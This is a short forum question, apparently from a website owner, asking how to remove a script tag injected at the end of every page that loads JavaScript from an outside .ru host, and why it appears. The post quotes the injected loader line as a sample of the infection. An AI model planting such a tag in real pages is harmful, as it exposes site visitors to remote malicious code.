how can i remove script virus from my script
<p>i have following code added automatically into my script...</p>

<pre><code>&lt;script type="text/javascript" src="http://obscurewax.ru/Kilobyte.js"&gt;&lt;/script&gt; 
&lt;!--72628eb2e686638651ad69b6a34a630f--&gt;
</code></pre>

<p>at the end of my each page when i see source code of my page it shows me the above code but when i open that file in notepad or any editing software it shows me nothing but only my script.. how can i remove that script from all of my files at once...</p>

<p>also let me know why it is happening so far..</p>
